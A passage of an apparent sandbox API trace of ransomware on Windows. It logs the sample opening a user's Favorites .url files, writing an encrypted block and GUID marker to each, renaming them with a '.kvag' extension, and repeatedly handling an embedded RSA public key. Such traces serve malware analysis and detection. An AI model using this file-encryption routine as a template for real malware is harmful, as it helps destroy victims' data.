StringUuid=0x6a5fa40) returned 0x0 [0120.619] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.619] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.619] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.620] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.620] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.620] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.620] CloseHandle (hObject=0x61c) returned 1 [0120.621] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.kvag")) returned 1 [0120.622] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0120.622] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned=".url" [0120.622] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.622] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.622] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.624] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.624] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.625] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.625] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.625] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.625] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.625] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.626] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.626] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.626] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.626] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.626] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.626] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.626] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.626] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.626] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.626] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.626] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.626] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.626] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.627] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.627] CloseHandle (hObject=0x61c) returned 1 [0120.628] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.kvag")) returned 1 [0120.629] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0120.629] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned=".url" [0120.629] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.629] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.629] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.631] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.631] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.632] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.632] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.632] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.632] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.632] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.633] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.633] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.633] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.633] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.633] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.633] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.633] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.633] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.633] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.633] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.634] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.634] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.634] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.634] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.634] CloseHandle (hObject=0x61c) returned 1 [0120.636] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.kvag")) returned 1 [0120.637] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0120.637] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned=".url" [0120.637] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.638] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=133) returned 1 [0120.638] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.639] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.639] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.640] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x85, lpOverlapped=0x0) returned 1 [0120.640] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.640] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.640] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.640] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607e88) returned 1 [0120.641] CryptCreateHash (in: hProv=0x3607e88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0120.641] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0120.641] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0120.641] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0120.641] CryptDestroyHash (hHash=0x6183888) returned 1 [0120.641] CryptReleaseContext (hProv=0x3607e88, dwFlags=0x0) returned 1 [0120.641] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0120.641] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0120.641] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0120.641] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x6781688, Size=0x218) returned 0x67743c8 [0120.642] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x85, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.642] WriteFile (in: hFile=0x61c, lpBuffer=0x61efec8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x61efec8*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0120.642] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0120.642] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0120.642] CloseHandle (hObject=0x61c) returned 1 [0120.644] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.kvag")) returned 1 [0120.645] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0120.645] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned=".url" [0120.645] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0120.647] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=134) returned 1 [0120.647] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0120.648] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x60, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.648] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0120.649] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x86, lpOverlapped=0x0) returned 1 [0120.649] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0120.649] lstrlenA 